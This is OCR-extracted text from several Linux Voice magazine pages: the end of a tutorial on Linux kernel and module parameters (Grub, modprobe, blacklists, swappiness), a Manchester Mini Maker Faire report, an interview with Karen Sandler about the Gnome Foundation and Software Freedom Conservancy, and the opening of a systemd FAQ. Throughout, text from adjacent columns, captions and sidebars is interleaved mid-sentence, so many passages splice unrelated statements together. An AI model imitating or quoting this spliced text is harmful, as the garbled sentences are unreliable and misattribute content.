check online to find out what they mean and take second partition (2) on the first disk (a). Then we have
action if needed. If update-grub did its job properly, ro, which means that the filesystem should be
reboot your computer and you should be presented mounted read-only so that disk checks can be reliably
with the GNU Grub screen where you can press E. performed – it will be remounted rw or read-write later
You will now see a rather intimidating dozen or so on. Next we have quiet, which tells the kernel not to
lines, as shown in the screenshot, below. These are output verbose text to the console, and splash
commands for Grub, but towards the end you should enables a pretty graphic screen during booting.
see a line that starts with linux – this is the kernel As a safe and informative experiment, try deleting
command line. On Ubuntu 14.04 (installed using GPT quiet and splash, then hit F10 to boot the system and
and EFI) it looks like this: you’ll see lots of kernel messages spewed onto the
linux /boot/vmlinz-3.13.0-32-generic.efi.signed console. Ordinarily this isn’t all that useful, except
root=UUID=<long UUID> ro quiet splash perhaps if you twitch your unblinking eyes very fast
Yours may differ in detail, but immediately after and say “interesting” to fool an onlooker that you can
linux you will see the location of the file containing the read as fast as Data from Star Trek. Of course, these
kernel that will be used. After that is our first kernel messages can yield vital clues if the boot process is
parameter, root. This is crucial. It specifies the device getting held up, or stops altogether. One common
problem that can be spotted this way is if the partition
or disk with the root filesystem isn’t found where it
should be. Correcting the setting of the root kernel
parameter can fix it, although it could just be that that
the drive isn’t plugged in, or has an unsupported
filesystem. If you’ve ruled out all those causes and
you’re dealing with a USB-connected drive, then it’s
possible it might not have “settled” by the time the
Press the E key at boot time to bring up this Emacs-like kernel starts looking for it. To avoid this problem you
editor, which lets you set kernel parameters in Grub. can add rootdelay=10, which tells the kernel to delay
www.linuxvoice.com 27
LINUX KERNEL PARAMETERS
10 seconds before mounting the root filesystem. This in LV002), kept dropping its wireless connection. It
can be especially handy with a Raspberry Pi if you seemed that, although Dell had included the latest
want to use a large external hard drive to contain a drivers for the wireless chipset, they weren’t entirely
root filesystem that won’t fit on an SD card. bug-free. But setting just one module parameter fixed
the issue, and saved me a good deal of hair loss.
Kernel, bread and butter Before going further, let’s take another look at kernel
A helpful analogy is to compare the kernel to bread. A configuration. You may have noticed some lines like
good loaf is baked to a precise recipe. The recipe for this that end in =m:
the kernel is its configuration, which specifies what CONFIG_EXT4_FS=m
hardware the kernel supports, where m doesn’t stand for “maybe” (although that’d be
“Setting module parameters eg types of x86 or ARM
CPUs, and other things like
accurate), but “module”. This means that the feature,
in this case support for the ext4 filesystem, is not built
can breathe new life into what filesystems it can work into the kernel, but as a module that can be loaded if
non-functioning hardware.” with, such as ext4 or btrfs.
To see the configuration of
needed. When the distro maintainer is compiling the
kernel, they can’t know which filesystems you will use.
the kernel you’re currently So instead of building many filesystems into the
running, type: kernel, bloating it with code that won’t be used,
zcat /proc/config.gz | less support for different filesystems are built into separate
Anything that’s set to =y means yes, that feature is modules, which can be loaded as needed.
enabled and/or built into the kernel. For example, the If you know exactly what your kernel will be used to
first few lines on the laptop I’m writing this on read are: do and on what hardware it is going to run, such as a
CONFIG_64BIT=y smart TV, then you can build just what is needed into
CONFIG_X86_64=y it, keeping it small and simple, and not have any
CONFIG_X86=y modules. The bread analogy is still applicable. You
which tells me I can run both 32- and 64-bit x86 code. can use the butter “module” with plain bread for your
Once the configuration is decided, the next step is morning toast, and you can use the same loaf with
to compile it, which is a bit like baking the bread. Both cheese and tomato as “modules” to build a sandwich
take a while and involve much heat, which for the for lunch. Alternatively, you could choose to bake
kernel is because compilation is CPU-intensive. cheese and tomato into a loaf, but it would then only
Setting module parameters can breathe new life be useful for certain meals.
into non-functioning hardware, as we saw with
memmap, but it can also help work around buggy Mess with a running system!
drivers. I was recently dismayed to discover that my Another advantage of modules is that, unlike the
shiny new Dell XPS 13, shipped with Ubuntu (reviewed memmap example, you can still set kernel parameters
after the system has booted up. To display
information about a module, use the modinfo
Module parameters
command, as explained in the boxout, left. You can list
The command modinfo video is a great list on kernel.org (www.kernel.org/doc/ the modules currently in use with lsmod – both
example of how to show information about Documentation/kernel-parameters.txt): “If commands need to be run as root or with sudo.
a module, in this case the video module. Of set to 1 [or Y], on receiving an ACPI notify Going back to my laptop’s issue with dodgy
most interest here are the three parameters event generated by hotkey, video driver will wireless, I did some searching and discovered that the
in the parm: lines. You can discover their adjust brightness level and then send out the
current settings by looking at files in the event to user space through the allocated
module was buggy when dealing with hardware
/sys/module/video directory, as shown for input device; If set to 0, video driver will encryption, and that loading the module with
brightness_switch_enabled. We can discover only send out the event without touching hwcrypt=0 would solve problems with the wireless
what the parameter does by consulting the backlight brightness level.” dropping out. Before you can do that, you need to find
the name of the module that provides the driver for
your wireless chipset. For a USB device, this can be
done by looking through the output from:
usb-devices | less
You should see a block of information for your
device with some human readable text description like
“Wireless networking”, and at the end of the last line
you will see the kernel module in use after Driver=. If
your wireless chip is not USB connected, it will be on
the PCI bus, which requires two steps to identify it.
First locate the wireless chipset with:
sudo lspci | grep -i network
For me this gave a long line that started with
01:00.0, which I could then use to display more
verbose information with this command:
28 www.linuxvoice.com
LINUX KERNEL PARAMETERS
Bootloaders
After you power up a computer, the onboard firmware will hunt for some Basic Input/Output System
code to run. The old-fashioned BIOS will look to the MBR (Master Boot BIOS executes MBR
Record) at the start of any disks it can find, and tell the CPU to run any
suitable code that is found. These days UEFI has replaced the BIOS and
Master Boot Record
MBR system, and does a similar job but with more features and fewer MBR executes Grub
limitations.
The most common bootloader is Grub, but others such as Lilo, Syslinux
and Gummiboot all do much the same job in slightly different ways. You Grand Unified Bootloader
Grub executes kernel
can think of a bootloader as a temporary, mini operating system (see
MikeOS and its excellent documentation) that is needed only in the early
stages of a computer starting up. The final job of any bootloader is to load Kernel
the kernel with its command line parameters and also to tell it what to run Kernel
executes /sbin/init
as its first process – these days it will be systemd, but some distros still
use init.
Init
The Raspberry Pi is worth a mention because it doesn’t use a normal Init
executes runlevel programs
bootloader. It starts with its ARM CPU disabled; the GPU runs firmware
code and looks only at the SD card and runs the file /boot/bootcode.bin. If
you want to alter kernel parameters at boot time, you can add them to the Runlevel programs are
Runlevel executed from /etc/rc.d/rc*.d/
cmdline= line in the /boot/config.txt file, or in the file /boot/cmdline.txt.
sudo lspci -v -s 01:00.0 blacklist ath9k_htc
On the last line of my output was the important or you might prefer to add that line to an existing
information Kernel modules: ath9k. (If no kernel blacklist.conf file. This will stop that incorrect module
module is listed, then you might need to load it from loading, and hopefully you’ll find ath9k is loaded
manually; of which, more later). instead.
To set a module parameter manually, you’ll first Sometimes it’s still necessary to force the loading of
need to unload the module. Warning: doing this could a module. To do this, you can create a file in
cause serious problems. It’s safe enough to do with /etc/modules-load.d. For example, in order for the
the module controlling a wireless chipset (as long as CUPS printing system to work, Ubuntu 14.04 comes
you don’t mind losing wireless for a bit), but unloading with cups-filters.conf, which contains the following
a module for the root filesystem is asking for trouble! lines to load three printing related modules:
To unload a module, in this case my ath9k module, lp
just do: ppdev
sudo modprobe -r ath9k parport_pc
then to reload it and set the nohwcrypt parameter, just It is possible to set some kernel parameters on a
enter this line: running kernel even if they’re not part of a module. A
sudo modprobe ath9k nohwcrypt=1 useful example is the swappiness parameter, which
and that’s it. This would need to be done every time controls how swap space is used. To change it, you
the laptop is started up, but you can make it edit a file (actually it’s not a real file, but a virtual one
permanent by creating a file in /etc/modprobe.d. The generated by the kernel) with something like:
name of the file is up to you, but something sudo nano /proc/sys/vm/swappiness
descriptive like ath9k_myfix.conf would be The file will contain the current setting, which will
appropriate, and it need only contain: probably be the default of 60. Set it to 100 and the
options ath9k nohwcrypt=1 kernel will swap from memory to disk aggressively;
Remember, this only works if ath9k was compiled set it to 0 and you may well notice a speed boost, but
as a kernel module, which will usually be the case, but at the risk of problems if you run short on memory.
if it were compiled into the kernel (y instead of m in
the kernel config), then you can still set it at boot up by Further reading
adding ath9k.nohwcrypt=1 to end of the kernel The definitive source of information on kernel
command line. parameters is www.kernel.org/doc/Documentation/
There’s more you can do with the conf files. kernel-parameters.txt. Ubuntu’s documentation on
Sometimes hardware is misidentified and the wrong kernel parameters is also worth reading: https://wiki.
kernel module is loaded. For example, say you notice ubuntu.com/Kernel/KernelBootParameters, as is the
your wireless is not working and then you notice that Arch Linux wiki: https://wiki.archlinux.org/index.php/
the ath9k_htc module is loaded, but you know your Kernel_parameters. For a more complete overview of
hardware is not made by HTC. The solution would be the subject, though a little out of date now, is Linux
to blacklist the offending module, which you can do Kernel in a Nutshell by kernel developer Greg Kroah-
by creating the file /etc/modprobe.d/ath9k_myfix. Hartman, available as a free download on his website
conf, but this time it has just this line: www.kroah.com/lkn or in print from oreilly.com.
www.linuxvoice.com 29
MANCHESTER MINI MAKER FAIRE
…you have nothing to lose except your fear of breaking
things. Les Pounder meets some of the hardware
hacking revolutionaries setting their ideas free.
A
ll around the world, makers are tinkering and open technology, but they also use open knowledge,
hacking with projects as small as a one-inch as instructions and guidance are openly shared in
cubed router, VoCore (www.indiegogo.com/ person and via their respective websites. We went to
projects/vocore-a-coin-sized-linux-computer-with- one of these, the Manchester Mini Maker Faire, to find
wifi/x/67844) and as large as a fire breathing dragon out more about the weird and wonderful projects that
called Gon Kirin (www.treehugger.com/gadgets/ are coming to life thanks to free software.
maker-faire-2012-gon-kirin-fire-breathing-dragon.
html). What links every project, no matter its scale, is Minecraft makers
that it was once a spark of an idea in a maker’s head Patrick Fenner is a calm and collected chap who
– and 99% of these projects have been created thanks works out of the Does Liverpool makerspace, and his
to Linux and free software. Projects such as the passion for re-inventing and hacking knows no
Arduino, the Shrimp and the Raspberry Pi (mostly) are bounds. “Today, Ross [Dalziel], Adrian McEwen and I
open source, enabling are running a stall of
creative people to
reuse them in all sorts
“Makers have a diverse range of things that are
connected to the
of ways without backgrounds in art, engineering internet but which
having to ask anyone’s
permission to do so.
and even anthropology.” shouldn’t be, such as
our train set. We have
Makers come in all a Raspberry Pi running
shapes and sizes, with a diverse range of a Flask server – Flask is a self-hosted web server that
backgrounds in art, engineering and even can provide a self-hosted API. In this case we’re using
anthropology, and using technology such as the it for an API and a webpage, which enables external
Arduino and Raspberry Pi they are able to realise their control of the trains via any internet-connected device.
ideas in new and interesting ways – and a Maker Faire This is then connected through an AlaMode [AlaMode
is the perfect place to share these ideas. Not only are is an Arduino-compatible board that connects to the
the projects showcased at these events based on Raspberry Pi GPIO pins] to give you the Arduino side,
26
MANCHESTER MINI MAKER FAIRE
which is then linked to the physical buttons, which are
used to trigger actions such as speed and direction
changes through H bridges”.
Patrick, being a freelance engineer, uses projects
such as this as an opportunity for research and
development. “The types of control used in this project
are useful in applications such as home automation,
turning lights on and off remotely or monitoring
temperature data and sending the data to an external
destination.”
Ross Dalziel, also from Does Liverpool, is working
on two projects, one of which involves Minecraft. Ross
explains “We have been using Arduino-compatible
boards called Shrimps to control aspects of the
Minecraft world. For example, we have a light switch
on the stall that will change the time of day on our
Minecraft server. This is then connected to a Python
sketch that makes calls to the Minecraft server to set The internet of things encompasses refrigerators, home heating
the time of day accordingly.” The whole build took systems, and devices made out of Meccano.
Ross around an hour to complete. As well as
Minecraft, Ross has been working with a school in binary-compatible with an Uno. It comes as a kit that
Barrow-in-Furness to develop a low-cost device to you build on a breadboard. It’s a cheaper alternative to
check water pollution. “The water sensor can sense the Arduino, and by building the Shrimp you will learn
how dirty a sample of water is by using a simple LED some of the fundamentals of how it works.” The idea
and a light-dependent resistor. The clarity of the water of a low-cost Arduino is intriguing, and a few projects
produces data, which is then used to draw graphs in have sprung up based on it. “The ShrimpKey, created
Minecraft. I’m interested in using Minecraft for by Sjoerd Dirk Meijer, is a substitute for the Makey
experiments, despite it being a closed platform.”
Ross elaborates “Minecraft really allows children to
be involved with the infrastructure of the game such “The low cost of the Shrimp kit
as creating a Bukkit server [a Bukkit server enables
players to host their own Minecraft world for others to
enables anyone to try it out, and
play] to enable enhancements in the game. It’s this helps it reach more people.”
informative to see what people will do when running
their own Minecraft world and the infrastructure Makey, an Arduino board that can turn everyday
behind it.” objects into controllers. Makey Makeys are extremely
simple to put together – from an electronics point of
The Shrimp project view it’s just a load of 20MΩ resistors connected to an
One project in particular that has drawn a lot of Arduino.” This is great news, as the Makey Makey
attention in the maker community is the Shrimp currently retails at around £40. When you consider
project by Cefn Hoile. “The Shrimp is an Arduino that some larger projects require more than one
Uno-compatible circuit”, says Cefn. “It is fully pin- and Makey Makey, it can get quite expensive, whereas
adding the extra components necessary to turn a
Shrimp into a ShrimpKey costs pennies. “The low cost
of the kit enables anyone to try it out, and this helps it
reach more people. We are also keen to keep our
documentation evolving and at this time our main
focus is on maintaining the high level of quality
documentation and projects on our site.”
Cefn’s Shrimp, other Arduinos and the Raspberry Pi
can be used with Scratch, so with the Shrimp and
Scratch for Arduino you would expect to have an
exceptionally cheap platform for study. Kimball
Johnson, of the HacMan space in Manchester, told us
“In practice it is easy to do but it needs a context and
teachers will want to know ‘What is the activity that I
can do with it?’ rather than just wanting to learn more
about the tools that are being offered to them. So
Your local hackerspace probably has a 3D printer or two projects need to focus on the context and the goal
for you to test your latest creation. rather than showing off the hardware that it contains.”
31
MANCHESTER MINI MAKER FAIRE
around £150 to put together and took around two
weeks to build. We have named the project a ‘Geek
trap’, as when we use the plasma fire demo it just
attracts everyone to our stall.”
The cube drew us in, but we stayed with the Leeds
hackers for their other projects, including a Raspberry
Pi-powered software defined radio (SDR) project.
“This project is an ADSB (Automatic Dependent
Surveillance Broadcast) receiver,” Jon tells us,
“which receives signals from aircraft transponders.
Historically radar would ping an aircraft and it would
respond with a four-digit identification number, and if
the air traffic controller was lucky, also the aircraft’s
altitude. Over the last few years all of that has gone
digital. Certainly all of the big airliners, when they
We love the idea of making Minecraft interface with real-world data. respond to ADSB, they provide data such as aircraft
identification, direction, speed, altitude and position.
Kimball is keen to point out a potential block for the So with ADSB the air traffic controller has more data
use of Arduino/Shrimp in school. “One of the main to work with and can organise aircraft with greater
reasons for the development of the Raspberry Pi was precision. For my project all of this data is displayed in
due to the locked-down nature of school ICT suites. a map and stored in a database.” SDR is currently en
The use of the Shrimp in school is a good idea, would vogue with hackers and there are a growing number of
a child be allowed to plug one into a USB port on a DVB-T USB TV tuners that can be hacked to work with
school machine?” It’s clear that the Shrimp is a many different types of radio transmissions including
popular tool for low-cost prototyping, but with the airband frequencies commonly used by airlines and
locked-down state of school networks and some ICT marine-based organistations.
departments resistance to utilising products outside
Manchester, so much to answer for
HacMan has been Manchester’s hackspace for many
“Events such as Pi Wars pit devices years, and is based in the northern quarter of
against each other in a sort of Manchester. The HacMan stall is groaning under the
weight of an enormous etch-a-sketch. “Project-A-
robot Olympic games.” Sketch was one of the first projects built by HacMan
when they were based at MadLab. In fact it was
of the “norm” there is some way to go for the Arduino conceived around the time of Stockport Hackspace,
to make it into the classroom. which was the hackspace for Manchester before we
moved to a better location”, Kimball tells us. Further
Raspberry Pi radar along the stall there is a rather interesting arcade
Like magpies, we were drawn to Jon Stockill and cabinet. “Originally it was a standard upright arcade
Leeds Hackspace. “We’ve probably brought more cabinet that was donated to us which housed a rather
LEDs than anyone else, as the main project is an LED large, heavy CRT screen. We have now modified it to
cube measuring 8 by 8 by 8 LEDs – a total of 512 run with an LCD screen, which is much better for the
LEDs! The cube displays any tweets that use a environment.” Kimball then goes on to explain how
pre-programmed hashtag. The whole cube cost they reduced the depth of the cabinet and replaced
Manchester Mini Maker Faire
Manchester Mini Maker Faire is now in its third year and is
hosted at the fabulous Museum of Science and Industry
(MOSI) in the heart of Manchester. MOSI is the natural home
for Maker Faire, with many inventions from the industrial
revolution rubbing shoulders with computers from the 20th
century technological revolution. Manchester Mini Maker Faire
is a great place to meet fellow makers and gain inspiration for
your next project with four floors full of inventive
projects, hands-on workshops and talks. Maker Faires have
been slowly cropping up around the UK, normally in major
towns and cities. Brighton Mini Maker Faire is exceptionally
popular, and Newcastle upon Tyne has a much larger Maker
Faire in April each year, drawing crowds from around the The concept of Maker Faires comes from Make
country for a full weekend of indoor and outdoor hacking. magazine, as a way of bringing kindred spirits together.
32
MANCHESTER MINI MAKER FAIRE
the innards “with a mini ITX-based board and placed it
on a hinged panel for easy access. For the LCD screen
we removed the panel and bezel and mounted the
screen using duct tape.”
Arduino anthropology
Manu Bruggmann is an anthropologist at Lancaster
University, and is part of the Highwire programme, a
digital innovation PhD programme for those in the
computing, design and management worlds. Manu’s
project is unique among the many stalls here today,
he has brought a dress with a very special property. “I
spent five months in the Arctic writing about the
indigenous people there and their engagement with
technology. One of the most important stakeholders
in my research were reindeer herders, because they This is Frank – HacMan’s life-size version of the Operation game,
are the ambassador for their culture. One of the complete with screens, buzzers and LEDs, and powered by an Arduino.
biggest challenges that these people are facing is the
increasing number of wind farms being developed in becomes thin in summer, a poor insulator to keep the
the area. Reindeer are extremely afraid of wind farms, wearer cool. But it could expand and trap air in winter
so in a diameter of 16km reindeer will not approach a to keep the wearer warm in the cold weather. This
wind farm. But big companies install wind farms in could inspire someone with a commercial interest to
this area due to the low cost of land enabling them to take a look at the project and adapt it for the market.
build forests of wind farms. This has affected reindeer
herding massively.”
“One stakeholder told me that ‘wind farms
“If any of these projects have
suffocated their culture’, and that statement drove sparked a fire of creativity inside
the development of the dress. The restriction of the
dress, the shape shifting aspect, is designed to be
you, good – go forth and build!”
uncomfortable to create empathy with their culture
and how it is slowly being suffocated. The dress I’m not a computer scientist – I’m an anthropologist
will restrict how you can breathe, walk and move, – but it was possible for me to make the dress using
in the same way that their living space becomes the Arduino.”
uncomfortable.” Manu’s project is an analogy and a
political statement for the people that he spoke to, Do it yourself
and it’s powered by an Arduino running a random If any of these projects have sparked a fire of creativity
number generator sketch. “The Arduino is connected inside of you, good! Go forth and build great things!
to three winches attached to the dress. Each winch Websites such as instructables.com and hackaday.
can be controlled to make the dress tighter or com contain tutorials and inspiring projects from
looser depending on the random number that has makers across the globe. There are also events such
been generated. It works slowly but it is constantly as Pi Wars (piwars.org), which will pit devices against
changing based on the random numbers generated” each other in a sort of robot Olympics. Oggcamp
I ask Manu if he has thought of any commercial (Oggcamp.org), the popular unconference, also sees
applications for his project. “It is not the intended its fair share of hackers and makers.
purpose, but it has crossed my mind. A jacket that There are many online retailers for the maker
community, including Pimoroni.com, adafruit.com,
4tronix.co.uk and store.ryanteck.uk.Go forth and
build wondrous things, mash data with electronics
and produce banana keyboards using ShrimpKey,
traffic lights with Pibrella or an internet-connected
coffee mug. And make sure that you tell Linux Voice
all about your inventions!
We love you all
Many thanks to the makers, volunteers and attendees of
Manchester Mini Maker Faire, who each year put on a free
Maker Faire for everyone to enjoy, and special thanks to the
Museum of Science and Industry (MOSI) for providing an
The Project-A-Sketch uses an Arduino to project lines on astonishing location full of excellent inventions.
the screen. And yes, you can shake it to wipe the screen…
XX
33
THE GNOME FOUNDATION
INSIDE THE
GNOME
FOUNDATION
With the Gnome desktop now going from strength to strength, the
role of the Foundation has never been more important.
O
ver the last 12 months, a lot has changed for Board of Directors. Which actually was a real
both the Gnome desktop and the Foundation departure for me because I have been refusing to
that supports it. There were reports of serve on boards of directors for all of this time.”
financial difficulty, and the continuing struggle to bring
the new desktop up to functional parity with the Duty of care
previous desktop. But the Gnome team is winning the “Maybe as a lawyer I’m more aware of the obligations
war. The latest releases have been well received and that Directors have towards their organisations,” she
Gnome has just become the default desktop for said, “There’s a duty of care and a duty of loyalty, and I
Debian, a sure sign that its usability and functionality think as a lawyer you potentially must hold yourself to
problems are in the past. The Foundation itself has a higher standard of care and read all the documents
been able to improve its financial situation, while at and be very involved because you need to make sure
the same time helping lots of other projects beside you understand. You and your fellow directors are
the Gnome desktop we all love. We caught up with running the organisation, making all the decisions and
Karen Sandler, a member of Gnome’s board of you have to be responsible in the instance things go
directors, to find out where it all went right. terribly wrong.”
This time last year, Karen was at the helm as She also told us that she’d rather volunteer for the
Executive Director of the Gnome Foundation, having organisations she wants to help, than take on titles,
taken up the role in 2011. but it was Gnome itself
After she stepped down
as Executive Director she
“Gnome is a fantastic product that made all the
difference.
put herself forward in the and an amazing community, “I made a real
elections to the board of
directors, and was elected
and I didn’t want to leave.” exception with the
Gnome Board of
to the board of seven with Directors. It was a little
the most votes in the contest – a real affirmation of easier because I was recently the Executive Director
her leadership during what must have been some of so I’m very familiar with where things are with the
the most challenging years at Gnome. foundation but I’d been joking all of the time while I
So why give up one role only to take another? “I was at Gnome that if I felt like the Gnome project was
think Gnome is a fantastic program and an amazing going in the right direction then I would leave, so I
community and I didn’t really want to leave,” Karen wanted to make sure that people knew I was leaving
tells us. “So when I left, I announced I’d go for the because it was going in the right direction, so the best
34 www.linuxvoice.com
THE GNOME FOUNDATION
way to signal this was to join the board of directors.”
This is where it became evident that a lot of people
really like Gnome, as eleven candidates put
themselves forwards for the seven Director positions,
all with different experience and qualifications.
“I had a moment where there was a hotly contested
vote – there were 10 candidates and people tend to
not throw their hat in the ring if they don’t feel they
were good candidates, but for various reasons we had
all great candidates and several people were not
elected,” Karen admitted before telling us she felt
people understood what she was trying to do when
she was voted into the role.
Both new roles effectively mean is that Karen is
swapping her day job for her volunteer position at the
Freedom Software Conservancy, and swapping her
previous role as the Executive Director at the Gnome
Foundation for her voluntary work.
One of the many things the
“With Gnome I just have the hours to put in as I did negative things straight away, but the Outreach
Gnome Foundation does is
before. But a lot of it is still the same – I’m still doing a Program for Women has grown so much that it was sponsor the annual Gnome
lot of the same things I was doing before, but I wish I tough for the Gnome Foundation to keep up conference, GUADEC
had more time to do even more,” she said. administratively – invoicing and all of the (Photo: KittyKat3756 CC-
administrative work. At the same time, there was a BY-SA)
Cashflow crisis cashflow crisis right after I left and so that caused a
Karen quit as Executive Departure just before the lot of attention and so it’s great that people are really
Foundation had a widely publicised financial crisis, so paying attention to what’s going on.”
we were interested to know whether she thought The online coverage of Gnome’s cashflow crisis
Gnome was now in a better place than it was 12 focused on the Outreach Program for Women, rather
months ago. She did say that she thought latest than that the Gnome Foundation was simply being
release of Gnome (version 3.12 at the time) was honest about its difficulties, or that those difficulties
fantastic, and that it was much more polished than were caused by the burden of helping a successful
early 3.x versions. But using the openness typical of project, rather than bad management. We asked
the Gnome Foundation, she also admitted they’d been whether the Outreach Program should be funded by
taking a close look at their organisation. the Gnome Foundation, only to find out that it isn’t
“There was some discussion about how much – it’s only helped administratively.
control Red Hat has over the project and so forth,” “It’s not quite funded by the Gnome Foundation. It’s
Karen told us. “There’s been a lot of really good hard run by the Gnome Foundation and we hit up a lot of
looking at where Gnome is and where it’s going as sponsors, so if anyone knows of a company who
part of the election process. At the same time it’s wants to help support bringing more women into Free
tough for me to be drawing attention to some of the Software, contact me.” Karen told us, before going into
more detail of how the two are organised.
“Gnome handles all of the administration of the
Rumours of Gnome’s
program but we get external sponsors to fund most of
financial demise were
greatly exaggerated. the financials. We charge an administrative fee but it
doesn’t cover all of the work that we have to do, so we
are paying out of our general
funding to keep it going but a
lot of sponsors are more “There was some discussion
interested in sponsoring
interns in the Linux kernel, or
about how much control Red
multimedia, or whatever it is Hat has over the project.”
that they’re interested in. A
lot of the money coming
through for the program is not necessarily meant for
Gnome but we’re still dedicated to running the
program. But it was so successful for Gnome projects
that we couldn’t just keep it for Gnome, we had to
share it. It’s worked out really, really well and other
projects have started to see the same successes that
we’ve seen at Gnome.”
www.linuxvoice.com 35
THE GNOME FOUNDATION
“It really says a lot about Gnome,” Karen said about
the way the Gnome Foundation handled the situation,
“it’s the kind of project that will announce when it’s
having a cashflow problem. I knew of a few other
non-profits that were in such bad cash flow that the
non-profits had been in debt. And that was never
announced – in debt with no invoices with no cash
set to come in and they had not announced it. It’s
quite common for non-profits to have cashflow
problems. Gnome is the only one I know of that
announced it. I think that’s really awesome and I think
it’s unfortunate because people sometimes
misinterpret that. And no offence [none taken!], but the
tech press is famous for not covering the whole story,
for better reading.”
“The Outreach Program is inspired by Google’s
Summer of Code except that we accept non-coders
and non-students,” she told us, “Not only do we have
projects to develop the Free Software projects, but we
also have marketing and documentation and art and
UI, and things like that – everything, all of the different
areas where we need to contribute to Free Software
The new Outreach Program runs from December 2014
we call for participation, but we have a lot of coding
through to March 2015.
internships too.”
Not just for coders Gnome project and brought more contributors and
Obviously, only asking women to apply is also a big participants into the world of Free Software, which is
difference to Summer of Code. “Women often think vital, as Karen explains.
that Free Software is not for them,” Karen explained, “We found at Gnome that bringing more women
“so by specifically inviting them, with the Outreach through the Outreach Program for Women meant that
Program for Women, we try to think about all of the there are other women who had not been participants
reasons why women were staying away from Free of the program who felt more comfortable coming to
Software. We systematically tried to address them all participate in Gnome, so it increased our numbers.
– instead of trying to figure out what it is, what do we
have to do so that we can completely overcome them, Bigger than Gnome
After a time in the or overcome them as much as possible.” “We also have a much better rate of women sticking
wilderness, Gnome has “Because of the fact there aren’t that many women around after their internship. You can’t expect every
now been re-adopted
in our field, it means that women coming in are much women to stick around after their internship – it’s not
as the default desktop
in Debian – something more likely to feel ‘Impostor Syndrome’, because they fair, but what’s exciting is that they’re having such a
that will no doubt trickle don’t see leaders that are like them.” good experience and they want to continue to
down to many of Debian’s The Program been a huge success, and more contribute and they want to continue to participate.”
derivative distros. importantly, it’s brought more contributors to the And as proof that there’s wide impact from the
program that just within Gnome, Karen explained that
it’s helping candidates really get embedded within the
Free Software world.
“Something like 90% of participants have given talks
at Free Software conferences –19 participants from
our program have given full session talks who have
become speakers. One of our participants became
a mentor – she was in user-interface design, she
became a mentor and then the intern she mentored
became a mentor, so she’s a grand mentor! One of
the members of the Gnome Board of Directors went
through OPW and she’s now our treasurer and doing
amazing work in helping to fix the cashflow problem
we had at OPW. Three alumni have founded programs
in their local area to improve the situation for women
in tech. So there’s now a group in Chicago hacking on
Gnome, there’s the Nairobi Deaf School, and there’s a
Women in Software in India group as well.”
36 www.linuxvoice.com
THE GNOME FOUNDATION
Software Freedom Conservancy
What to do if your project needs a lawyer but can’t afford
one – find a bunch of friends who know what they’re doing…
K
aren is incredibly enthusiastic about her new
job, and when you talk to her about it, you
can’t help but realise how important a role the
Conservancy has played in Free Software.
“The Conservancy is phenomenal because it’s like
the Outreach Program for Women where one
organisation is serving lots of different projects,” Karen
explains. “It’s analogous to a company where you
have different corporate divisions so each project is a
part of our overall organisation and we provide all of
the infrastructure – whatever these projects need in
order to run. We have their infrastructure, we handle
finances. It’s great because we only have to file one
tax form at the end of the year for all of the projects.
We have a general counsel, so we have legal support. We shared a lager with
We do all kinds of things and then we’re also exploring the Conservancy can do. So I’m really proud about it Karen at 2014’s OSCON.
different projects that are trying to solve different and I’m really pleased to be part of the Conservancy
problems in the world for the public good.” because there’s just so much to be done and we’re
But of course, the Conservancy always needs working around the clock.”
funding. “We’re putting legal infrastructures in place,
like trademarks and things like that that will help our Charity vs Trade
projects, if we have stable legal foundation. A lot of my At the end of our conversation, Karen talked about
time is spent fundraising – please donate to the something we think is very important, and that’s the
Software Freedom Conservancy, readers!” distinction between charities, such as the Gnome
Karen also has one specific example of a problem Foundation and the Software Freedom Conservancy,
we’d have thought would have been solved long ago, and trade associations, such as The Linux
by a company that now must be making a fortune. Foundation. Fortunately, as a lawyer, Karen is able to
“We noticed from our own experience that there describe this distinction more effectively than we can.
aren’t any good Free Software solutions for “A trade association is meant to forward a common
accounting,” Karen said. “We asked our accountant business interest, not the interest of the public. A
what the situation was for proprietary software charity is meant to forward the interests of the public.
solutions, and it turns out they’re all crummy – there And that’s why the Linux Foundation looks very
aren’t any good solutions and non-profits pay millions polished – it has great marketing and great branding,
of dollars per year for sub-par software. So we’ve and it’s a way to get particular kinds of money into
launched a project called NPO Accounting Project. your project because it’s a trade association. But you
We’re starting to create a piece of software that solves give up something at the same time.
the problem and solves it the right way with Free “At the Conservancy, there’s a lot of transparency
Software for everyone, so this is the kind of thing that and it’s about neutral control and public benefit, so a
project at the Conservancy is making a real statement
about its intention. We hold
the assets of a project and
so the Conservancy takes in
“At the Conservancy, there’s
the trademarks of a project, a lot of transparency – it’s
which means it can never be
abused by any one company.
about public benefit.”
“If you join the Software
Freedom Conservancy then you’re saying something
about how intend to run your project. And it says that
you will never let a company take over control of who
you are and what you do, and I think that’s very
The Conservancy received $90,0000 in damages from important and I think that companies actually
electronics vendors using BusyBox and not releasing their appreciate that. It means that they will have a neutral
source code. playing field with other companies as well.”
www.linuxvoice.com 37
FAQ SYSTEMD
SYSTEMD
It’s complicated but it’s probably already booting your computer.
dynamically connect to your network, a runlevel of 1 for a single-user mode,
GRAHAM MORRISON while syslogd pools all the system runlevel 3 for the same command
messages together to create a log of prompt we described earlier, and
Surely the ‘d’ in Systemd is everything important. Another daemon, runlevel 5 to launch a graphical
a typo? though it lacks the ‘d’, is init – famous environment. Changing this for your
No –it’s a form of Unix notation for being the first process that runs on next boot often involved editing the
used to signify a daemon. your system. /etc/inittab file, and you’d soon get
used to manually starting and stopping
You mean like those little Isn’t init used to switch your own services simply by executing
devils inhabiting Dante’s between the command-line the scripts you found.
underworld? and the graphical desktop?
There is a link in that Unix usage For many of us, yes. This was the You seem to be using the past
of the term daemon supposedly main way of going from the tense for all this talk about the
comes from Greek mythology, where desktop to a command line and back init daemon…
daemons invisibly wove their magic again without trying to figure out which That’s because the
and benign influence. The word is today processes to kill or start manually. aforementioned Systemd wants
more commonly spelt ‘demon’, which Typing init 3 would typically close any to put init in the past. Systemd is
leaves the archaic form to us. And graphical environment you had running, basically a replacement for all those
that’s perhaps why it’s been subverted kill the X server and drop you to a scripts launched by the init process,
for software that silently weaves its simple login prompt. This is because and a replacement for init itself. But as
benign influence over your system. the init command knew where to find a the name suggests, it’s got lofty
group of scripts that were created for ambitions for being the ‘system
Does this mean that, for switching between different operating daemon’, and has the potential to
ordinary users, Unix daemons environments. These were called handle far more than starting and
are an archaic idea? ‘runlevels’ and in the old days of stopping your system. And in replacing
Not at all. Daemons are essential System-V Unix they could be used to a few scripts, it’s needed to come up
for performing many essential tell your system to boot into single-user with a completely different mechanism
background tasks. They could be mode, multi-user mode as well as for handling boot processes.
likened to your brain doing many things shutdown and reboot. This whole
